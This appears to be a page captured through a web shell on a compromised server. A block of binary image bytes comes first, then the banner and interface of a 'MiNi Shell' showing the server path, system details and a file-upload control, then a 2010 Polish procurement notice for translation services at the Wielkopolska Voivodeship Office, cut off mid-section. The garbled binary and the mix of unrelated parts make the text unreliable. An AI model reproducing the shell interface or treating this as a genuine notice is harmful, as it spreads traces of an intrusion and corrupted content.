JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20101130/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20101130/389718-N-2010.html

<p class="kh_header"><b>Poznań: Usługi w zakresie tłumaczeń pisemnych i ustnych dla Wielkopolskiego Urzędu Wojewódzkiego  w Poznaniu</b><br>
<b>Numer ogłoszenia: 389718 - 2010; data zamieszczenia: 30.11.2010</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Wielkopolski Urząd Wojewódzki w Poznaniu , Al. Niepodległości 16/18, 61-713 Poznań, woj. wielkopolskie, tel. 061 8541300, faks 061 8541204.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.poznan.uw.gov.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja rządowa terenowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Usługi w zakresie tłumaczeń pisemnych i ustnych dla Wielkopolskiego Urzędu Wojewódzkiego  w Poznaniu.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> TŁUMACZENIA USTNE KONSEKUTYWNE I SYMULTANICZNE Z JĘZYKA POLSKIEGO NA JĘZYK OBCY I Z JĘZYKA OBCEGO NA JĘZYK POLSKI DLA POTRZEB WOJEWODY WIELKOPOLSKIEGO I WIELKOPOLSKIEGO URZĘDU WOJEWÓDZKIEGO, 

TŁUMACZENIA PISEMNE ZWYKŁE I PRZYSIĘGŁE Z JĘZYKA POLSKIEGO NA JĘZYK OBCY I Z JĘZYKA OBCEGO NA JĘZYK POLSKI PODCZAS OFICJALNYCH SPOTKAŃ WOJEWODY WIELKOPOLSKIEGO I WIELKOPOLSKIEGO URZĘDU WOJEWÓDZKIEGO ORAZ DYREKTORA GENERALNEGO I PRACOWNIKÓW WIELKOPOLSKIEGO URZĘDU WOJEWÓDZKIEGO W POZNANIU Z PRZEDSTAWICIELAMI PAŃSTW OBCYCH,

WERYFIKACJA DOSTARCZONYCH PRZEZ ZAMAWIAJĄCEGO PISEMNYCH TŁUMACZEŃ, ŚWIADCZENIE OKREŚLONEGO W PKT 1 PPKT. 3) PAKIETU USŁUG, ZA KTÓRE ZAMAWIAJĄCY NIE BĘDZIE PONOSIŁ DODATKOWYCH KOSZTÓW. 

1. Przedmiotem zamówienia jest:
1)	wykonywanie tłumaczeń: 
a)	pisemnych z języka polskiego na język obcy i z języka obcego na język polski dla potrzeb Wojewody Wielkopolskiego i Wielkopolskiego Urzędu Wojewódzkiego,
b)	ustnych z języka polskiego na język obcy i z języka obcego na język polski podczas oficjalnych spotkań Wojewody Wielkopolskiego i Wicewojewody oraz Dyrektora Generalnego i pracowników Wielkopolskiego Urzędu Wojewódzkiego w Poznaniu z przedstawicielami państw obcych, 
2)	weryfikacja dostarczonych przez Zamawiającego pisemnych tłumaczeń, tj.: 
a)	porównanie dostarczonych przez Zamawiającego pisemnych tłumaczeń z tekstami oryginalnymi, 
b)	wprowadzenie odpowiednich poprawek, 
c)	dostarczenie Zamawiającemu zweryfikowanych tłumaczeń z naniesionymi poprawkami oraz wykazu poprawek, które zostały wprowadzone do tłumaczeń, 
3)	odpowiednio do życzenia Zamawiającego świadczenie niżej wymienionego pakietu usług za które Zamawiający nie będzie ponosił dodatkowych kosztów: 
a)	odbieranie tekstów do tłumaczenia i dostarczanie gotowych tłumaczeń w formie wskazanej przez Zamawiającego (na piśmie, pocztą elektroniczną, na płycie CD) do siedziby Zamawiającego lub we wskazane przez Zamawiającego miejsce w Poznaniu; 
UWAGA: Zamawiający nie pokrywa kosztów usługi kurierskiej, 
b)	dostarczanie dodatkowych wydruków tłumaczeń;
c)	dokonywanie zmian w treści tłumaczeń;
d)	zachowanie układu graficznego oryginałów, odtwarzanie tabel i wykonywanie innych prac edytorskich związanych z zachowaniem pełnej szaty graficznej oryginałów. 
e)	zweryfikowanie przetłumaczonego tekstu pod względem gramatycznym i stylistycznym przez wyznaczoną przez siebie oraz wskazaną Zamawiającemu osobę. 
2. Przedmiot zamówienia obejmuje w zakresie wykonywania tłumaczeń: 
1)	następujące grupy językowe: 
a)	I grupa językowa: język angielski, język niemiecki, język francuski, język rosyjski, 
b)	II grupa językowa: pozostałe języki europejskie, 
c)	III grupa językowa: języki pozaeuropejskie. 
2)	rodzaje tłumaczeń: 
a)	tłumaczenia ustne: 
-	zwykłe i przysięgłe, 
-	konsekutywne i symultaniczne, 
-	zwykłe i specjalistyczne, 
b)	tłumaczenia pisemne: 
-	zwykłe i przysięgłe, 
-	zwykłe i specjalistyczne, 
3)	tryby tłumaczeń ustnych i pisemnych:
a)	tryb zwykły,
b)	tryb pilny,
c)	tryb ekspresowy, 
d)	tryb superekspresowy, 
4)	znajomość specjalistycznego słownictwa w szczególności z zakresu: 
a)	administracji publicznej, 
b)	Unii Europejskiej, 
c)	funduszy strukturalnych, 
d)	spraw międzynarodowych, 
e)	prawa, 
f)	finansów publicznych, 
g)	ochrony środowiska, 
h)	polityki społecznej, 
i)	informatyki, 
j)	spraw wojskowych, 
k)	medycyny, 
l)	zarządzania, 
m)	rozwoju regionalnego. 
3. Przedmiot zamówienia obejmuje w zakresie weryfikacji: 
1)	weryfikację językową, tj. sprawdzenie poprawności językowej tłumaczonych tekstów, 
2)	weryfikację merytoryczną, tj. sprawdzenie zastosowanej terminologii specjalistycznej oraz ujęcia kwestii technicznych poruszanych w tłumaczonych tekstach. 
4. Warunki wykonywania tłumaczeń, stanowiące podstawę obliczania kosztu usługi: 
1)	przy tłumaczeniach ustnych:
a)	za podstawowy blok tłumaczeniowy przyjmuje się pierwsze 2 godziny zegarowe wykonywania tłumaczenia - jego koszt jest wówczas równy kwocie podanej w załączniku nr 2; natomiast za każdą następną godzinę zegarową koszt wykonywania tłumaczenia jest równy ? kwoty podanej w załączniku nr 2,
b)	za tłumaczenie w trybie zwykłym przyjmuje się usługę, która została zamówiona z wyprzedzeniem od 24 do 36 godzin i/lub większym, 
c)	za tłumaczenie w trybie pilnym przyjmuje się usługę, która została zamówiona z wyprzedzeniem od 12 do 24 godzin, 
d)	za tłumaczenie w trybie ekspresowym przyjmuje się usługę, która została zamówiona z wyprzedzeniem od 6 do 12 godzin, 
e)	za tłumaczenie w trybie superekspresowym przyjmuje się usługę, która została zamówiona z wyprzedzeniem 6-godzinnym i/lub mniejszym,
2)	przy tłumaczeniach pisemnych i weryfikacji: 
a)	za 1 stronę przeliczeniową tłumaczenia zwykłego przyjmuje się 1800 znaków ze spacjami (licznik znaków Microsoft Word), 
b)	za 1 stronę przeliczeniową tłumaczenia przysięgłego przyjmuje się 1125 znaków ze spacjami (licznik znaków Microsoft Word),
c)	za tłumaczenie w trybie zwykłym przyjmuje się usługę, która została zamówiona z wyprzedzeniem ponad 36-godzinnym, 
d)	za tłumaczenie w trybie pilnym przyjmuje się usługę, która została zamówiona z wyprzedzeniem od 24 do 36 godzin, 
e)	za tłumaczenie w trybie ekspresowym przyjmuje się usługę, która została zamówiona z wyprzedzeniem od 12 do 24 godzin, 
f)	za tłumaczenie w trybie superekspresowym przyjmuje się usługę, która została zamówiona z wyprzedzeniem 12-godzinnym lub mniejszym.
5. Dodatkowe warunki wykonywania tłumaczeń i weryfikacji: 
1)	Materiały do tłumaczenia pisemnego lub do weryfikacji oraz materiały pomocne do wykonania tłumaczenia ustnego Zamawiający będzie przesyłał Wykonawcy na wskazany adres faksem lub pocztą elektroniczną. 
2)	W wypadku tłumaczenia pisemnego zwykłego i weryfikacji Wykonawca prześle wykonane 
lub zweryfikowane tłumaczenie Zamawiającemu faksem, pocztą elektroniczną lub na płycie CD na adres wskazany na formularzu, o którym mowa w pkt. 5 ppkt. 4). 
3)	W wypadku tłumaczenia pisemnego przysięgłego Wykonawca dostarczy Zamawiającemu wykonane tłumaczenie lub prześle je pocztą na adres wskazany na formularzu, o którym mowa w pkt. 5 ppkt. 4). 
W wypadku przesyłania wykonanego tłumaczenia bezpośrednio do adresata, którego siedziba mieści się poza siedzibą Wielkopolskiego Urzędu Wojewódzkiego, Wykonawca prześle skan wykonanego tłumaczenia Zamawiającemu na adres poczty elektronicznej, wskazany na formularzu, o którym mowa w pkt. 5 ppkt. 4). 
4)	Wykonanie tłumaczeń i weryfikacji następować będzie każdorazowo po otrzymaniu od Zamawiającego druku zamówienia, w którym Zamawiający określi: 
a)	rodzaj, tryb, termin i miejsce wykonania tłumaczenia, 
b)	godzinę i miejsce przybycia tłumacza przed rozpoczęciem tłumaczenia ustnego, 
c)	miejsce, sposób i formę dostarczenia wykonanego tłumaczenia pisemnego lub weryfikacji. 
5)	Jeżeli weryfikacja tłumaczenia ze względu na nakład pracy Wykonawcy okaże się tłumaczeniem pisemnym, Wykonawca jest zobowiązany - przed przystąpieniem do wykonywania usługi - uzyskać zgodę Zamawiającego na zmianę zlecenia, określonego na formularzu, o którym mowa w punkcie 5 podpunkt 4), przedstawiając odpowiednie uzasadnienie. 
6)	Zapłata za wykonaną usługę będzie następować po wystawieniu przez Wykonawcę faktury w terminie i w sposób określony w umowie. 
7)	Dojazd własny tłumacza, tj. niezapewniony przez Zamawiającego, do miejsca wykonania tłumaczenia będzie wliczony w cenę usługi. 
8)	Za dojazd zapewniony przez Zamawiającego uważa się dojazd, który jest zorganizowany i opłacony przez Zamawiającego. W innych przypadkach dojazd tłumacza uważa się za niezapewniony przez Zamawiającego. 
9)	Zamawiający nie pokrywa kosztów dojazdu własnego tłumacza, poniesionych w celu wykonania tłumaczenia na terenie miasta Poznania. W wypadku wykonania tłumaczenia poza Poznaniem, w tym także za granicą, Zamawiający pokrywa koszty usługi, obliczone na podstawie punktu 4 i udokumentowane koszty dojazdu tłumacza. W razie dojazdu tłumacza samochodem prywatnym Zamawiający pokrywa koszty usługi, obliczone na podstawie punktu 4 i oświadczenia o poniesionych kosztach dojazdu. 
10)	W przypadku tłumaczenia ustnego poza Poznaniem Wykonawca wskaże na druku zamówienia środek lokomocji, którym uda się na miejsce wykonania tłumaczenia i odeśle druk Zamawiającemu.
11)	Praca tłumacza jest wynagradzana jak za 8 godzin zegarowych, niezależnie od faktycznej liczby przepracowanych godzin.
12)	W wypadku tłumaczeń symultanicznych udział drugiego tłumacza jest ustalany podczas składania i przyjmowania zapotrzebowania na druku formularza, o którym mowa w pkt. 5 ppkt. 4).
13)	Zamawiający zapewnia sprzęt do tłumaczenia symultanicznego, jeżeli konferencja odbywa się w Wielkopolskim Urzędzie Wojewódzkim. 
14)	Wykonawca zapewni wykonanie i dostarczenie tłumaczeń i weryfikacji przez wszystkie dni kalendarzowe w okresie realizacji zamówienia. 
15)	Wykonawca zapewni wykonanie tłumaczeń we własnym zakresie lub przez zawarcie umowy z podwykonawcą. Wykonawca odpowiada za usługi świadczone przez podwykonawców jak za własne. 

6. Szacunkowa liczba zamówienia: 
1) 	dla tłumaczeń ustnych konsekutywnych: łącznie 28 bloków tłumaczeniowych, w tym: 
a) dla tłumaczeń ustnych konsekutywnych zwykłych - łącznie 24 bloki tłumaczeniowe, w tym: 
dla tłumaczeń ustnych konsekutywnych zwykłych w I grupie językowej, w trybie zwykłym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w I grupie językowej, w trybie zwykłym, poza Poznaniem - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w I grupie językowej, w trybie pilnym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w I grupie językowej, w trybie pilnym, poza Poznaniem - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w I grupie językowej, w trybie ekspresowym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych I w  grupie językowej, w trybie ekspresowym, poza Poznaniem - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w I grupie językowej, w trybie superekspresowym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w I grupie językowej, w trybie superekspresowym, poza Poznaniem - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w II grupie językowej, w trybie zwykłym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w II grupie językowej, w trybie zwykłym, poza Poznaniem - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w II grupie językowej, w trybie pilnym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w II grupie językowej, w trybie pilnym, poza Poznaniem - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w II grupie językowej, w trybie ekspresowym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w II grupie językowej, w trybie ekspresowym, poza Poznaniem - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w II grupie językowej, w trybie superekspresowym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w II grupie językowej, w trybie superekspresowym, poza Poznaniem - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w III grupie językowej, w trybie zwykłym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w III grupie językowej, w trybie zwykłym, poza Poznaniem - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych: w III grupie językowej, w trybie pilnym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w III grupie językowej, w trybie pilnym, poza Poznaniem - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w III grupie językowej, w trybie ekspresowym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w III grupie językowej, w trybie ekspresowym, poza Poznaniem - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w III grupie językowej, w trybie superekspresowym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych zwykłych w III grupie językowej, w trybie superekspresowym, poza Poznaniem - 1 blok tłumaczeniowy 
b) 	dla tłumaczeń ustnych konsekutywnych przysięgłych: łącznie 4 bloki tłumaczeniowe, w tym:
dla tłumaczeń ustnych konsekutywnych przysięgłych w I grupie językowej, w trybie zwykłym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych przysięgłych w I grupie językowej, w trybie zwykłym, poza Poznaniem - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych przysięgłych w II grupie językowej, w trybie zwykłym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych konsekutywnych przysięgłych w II grupie językowej, w trybie zwykłym, poza Poznaniem - 1 blok tłumaczeniowy 
2) 	dla tłumaczeń ustnych symultanicznych zwykłych: łącznie 4 bloki tłumaczeniowe, w tym: 
dla tłumaczeń ustnych symultanicznych zwykłych, w I grupie językowej, w trybie zwykłym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych symultanicznych zwykłych, w I grupie językowej, w trybie zwykłym, poza Poznaniem - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych symultanicznych zwykłych, w II grupie językowej, w trybie zwykłym, w Poznaniu - 1 blok tłumaczeniowy 
dla tłumaczeń ustnych symultanicznych zwykłych, w II grupie językowej, w trybie zwykłym, poza Poznaniem - 1 blok tłumaczeniowy 
3) 	dla tłumaczeń pisemnych zwykłych: łącznie 30 stron przeliczeniowych, w tym: 
dla tłumaczeń pisemnych zwykłych, w I grupie językowej, w trybie zwykłym, z języka polskiego na język obcy - 3 strony przeliczeniowe 
dla tłumaczeń pisemnych zwykłych, w I grupie językowej, w trybie zwykłym, z języka obcego na język polski - 3 strony przeliczeniowe 
dla tłumaczeń pisemnych zwykłych, w I grupie językowej, w trybie pilnym, z języka polskiego na język obcy - 1 strony przeliczeniowe 
dla tłumaczeń pisemnych zwykłych, w I grupie językowej, w trybie pilnym, z języka obcego na język polski - 1 strony przeliczeniowe 
dla tłumaczeń pisemnych zwykłych, w I grupie językowej, w trybie ekspresowym, z języka polskiego na język obcy - 1 strony przeliczeniowe 
dla tłumaczeń pisemnych zwykłych, w I grupie językowej, w trybie ekspresowym, z języka obcego na język polski - 1 strony przeliczeniowe 
dla tłumaczeń pisemnych zwykłych, w I grupie językowej, w trybie superekspresowym, z języka polskiego na język obcy - 1 strony przeliczeniowe 
dla tłumaczeń pisemnych zwykłych, w I grupie językowej, w trybie superekspresowym, z języka obcego na język polski - 1 strony przeliczeniowe 
dla tłumaczeń pisemnych zwykłych, w II grupie językowej, w trybie zwykłym, z języka polskiego na język obcy - 2 strony przeliczeniowe 
dla tłumaczeń pisemnych zwykłych, w II grupie językowej, w trybie zwykłym, z języka obcego na język polski - 2 strony przeliczeniowe 
dla tłumaczeń pisemnych zwykłych, w II grupie językowej, w trybie pilnym, z języka polskiego na język obcy - 1 strona przeliczeniowe 
dla tłumaczeń pisemnych zwykłych, w II grupie językowej, w trybie pilnym, z języka obcego na język polski - 1 strona przeliczeniowa 
dla tłumaczeń pisemnych zwykłych, w II grupie językowej, w trybie ekspresowym, z języka polskiego na język obcy - 1 strona przeliczeniowa 
dla tłumaczeń pisemnych zwykłych, w II grupie językowej, w trybie ekspresowym, z języka obcego na język polski - 1 strona przeliczeniowa 
dla tłumaczeń pisemnych zwykłych, w I grupie językowej, w trybie superekspresowym, z języka polskiego na język obcy - 1 strona przeliczeniowa 
dla tłumaczeń pisemnych zwykłych, w II grupie językowej, w trybie superekspresowym, z języka obcego na język polski - 1 strona przeliczeniowa 
dla tłumaczeń pisemnych zwykłych, w III grupie językowej, w trybie zwykłym, z języka polskiego na język obcy - 1 strona przeliczeniowa 
dla tłumaczeń pisemnych zwykłych, w III grupie językowej, w trybie zwykłym, z języka obcego na język polski - 1 strona przeliczeniowa 
dla tłumaczeń pisemnych zwykłych, w III grupie językowej, w trybie pilnym, z języka polskiego na język obcy - 1 strona przeliczeniowa 
dla tłumaczeń pisemnych zwykłych, w III grupie językowej, w trybie pilnym, z języka obcego na język polski - 1 strona przeliczeniowa 
dla tłumaczeń pisemnych zwykłych, w III grupie językowej, w trybie ekspresowym, z języka polskiego na język obcy - 1 strona przeliczeniowa 
dla tłumaczeń pisemnych zwykłych, w III grupie językowej, w trybie ekspresowym, z języka obcego na język polski - 1 strona przeliczeniowa 
dla tłumaczeń pisemnych zwykłych, w III grupie językowej, w trybie superekspresowym, z języka polskiego na język obcy - 1 strona przeliczeniowa
dla tłumaczeń pisemnych zwykłych, w III grupie językowej, w trybie superekspresowym, z języka obcego na język polski - 1 strona przeliczeniowa
4) 	dla tłumaczeń pisemnych przysięgłych: łącznie 130 stron przeliczeniowych, w tym: 
dla tłumaczeń pisemnych przysięgłych, w I grupie językowej, w trybie zwykłym, z języka polskiego na język obcy - 20 stron przeliczeniowych 
dla tłumaczeń pisemnych przysięgłych, w I grupie językowej, w trybie zwykłym, z języka obcego na język polski - 20 stron przeliczeniowych 
dla tłumaczeń pisemnych przysięgłych, w I grupie językowej, w trybie pilnym, z języka polskiego na język obcy - 6 stron przeliczeniowych 
dla tłumaczeń pisemnych przysięgłych, w I grupie językowej, w trybie pilnym, z języka obcego na język polski - 6 stron przeliczeniowych 
dla tłumaczeń pisemnych przysięgłych, w I grupie językowej, w trybie ekspresowym, z języka polskiego na język obcy - 4 strony przeliczeniowe 
dla tłumaczeń pisemnych przysięgłych, w I grupie językowej, w trybie ekspresowym, z języka obcego na język polski - 4 strony przeliczeniowe 
dla tłumaczeń pisemnych przysięgłych, w I grupie językowej, w trybie superekspresowym, z języka polskiego na język obcy - 4 strony przeliczeniowe 
dla tłumaczeń pisemnych przysięgłych, w I grupie językowej, w trybie superekspresowym, z języka obcego na język polski - 4 strony przeliczeniowe 
dla tłumaczeń pisemnych przysięgłych, w II grupie językowej, w trybie zwykłym, z języka polskiego na język obcy - 10 stron przeliczeniowych 
dla tłumaczeń pisemnych przysięgłych, w II grupie językowej, w trybie zwykłym, z języka obcego na język polski - 10 stron przeliczeniowych 
dla tłumaczeń pisemnych przysięgłych, w II grupie językowej, w trybie pilnym, z języka polskiego na język obcy - 6 stron przeliczeniowych 
dla tłumaczeń pisemnych przysięgłych, w II grupie językowej, w trybie pilnym, z języka obcego na język polski - 6 stron przeliczeniowych
dla tłumaczeń pisemnych przysięgłych, w II grupie językowej, w trybie ekspresowym, z języka polskiego na język obcy - 4 strony przeliczeniowe
dla tłumaczeń pisemnych przysięgłych, w II grupie językowej, w trybie ekspresowym, z języka obcego na język polski - 4 strony przeliczeniowe
dla tłumaczeń pisemnych przysięgłych, w I grupie językowej, w trybie superekspresowym, z języka polskiego na język obcy - 4 strony przeliczeniowe
dla tłumaczeń pisemnych przysięgłych, w II grupie językowej, w trybie superekspresowym, z języka obcego na język polski - 4 strony przeliczeniowe
dla tłumaczeń pisemnych przysięgłych, w III grupie językowej, w trybie zwykłym, z języka polskiego na język obcy - 3 strony przeliczeniowe 
dla tłumaczeń pisemnych przysięgłych, w III grupie językowej, w trybie zwykłym, z języka obcego na język polski - 3 strony przeliczeniowe
dla tłumaczeń pisemnych przysięgłych, w III grupie językowej, w trybie pilnym, z języka polskiego na język obcy - 2 strony przeliczeniowe
dla tłumaczeń pisemnych przysięgłych, w III grupie językowej, w trybie pilnym, z języka obcego na język polski - 2 strony przeliczeniowe
dla tłumaczeń pisemnych przysięgłych, w III grupie językowej, w trybie ekspresowym, z języka polskiego na język obcy - 1 strona przeliczeniowa 
dla tłumaczeń pisemnych przysięgłych, w III grupie językowej, w trybie ekspresowym, z języka obcego na język polski - 1 strona przeliczeniowa
dla tłumaczeń pisemnych przysięgłych, w III grupie językowej, w trybie superekspresowym, z języka polskiego na język obcy - 1 strona przeliczeniowa
dla tłumaczeń pisemnych przysięgłych, w III grupie językowej, w trybie superekspresowym, z języka obcego na język polski - 1 strona przeliczeniowa
5) 	dla weryfikacji: łącznie 10 stron przeliczeniowych, w tym: 
dla weryfikacji w I grupie językowej, w trybie zwykłym, z języka polskiego na język obcy - 2 strony przeliczeniowe 
dla weryfikacji, w I grupie językowej, w trybie zwykłym, z języka obcego na język polski - 2 strony przeliczeniowe 
dla weryfikacji w I grupie językowej, w trybie pilnym, z języka polskiego na język obcy - 1 strona przeliczeniowa 
dla weryfikacji w I grupie językowej, w trybie pilnym, z języka obcego na język polski - 1 strona przeliczeniowa 
dla weryfikacji, w I grupie językowej, w trybie ekspresowym, z języka polskiego na język obcy - 1 strona przeliczeniowa 
dla weryfikacji, w I grupie językowej, w trybie ekspresowym, z języka obcego na język polski - 1 strona przeliczeniowa
dla weryfikacji, w I grupie językowej, w trybie superekspresowym, z języka polskiego na język obcy - 1 strona przeliczeniowa
dla weryfikacji, w I grupie językowej, w trybie superekspresowym, z języka obcego na język polski - 1 strona przeliczeniowa
Zamawiający zastrzega sobie prawo zmiany ilości przedmiotu umowy w poszczególnych asortymentach, wyszczególnionych w punkcie 6, w ramach ustalonej ogólnej wartości umowy. 
Przedmiot zamówienia będzie realizowany sukcesywnie zgodnie ze zgłaszanymi przez Zamawiającego zapotrzebowaniami..</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

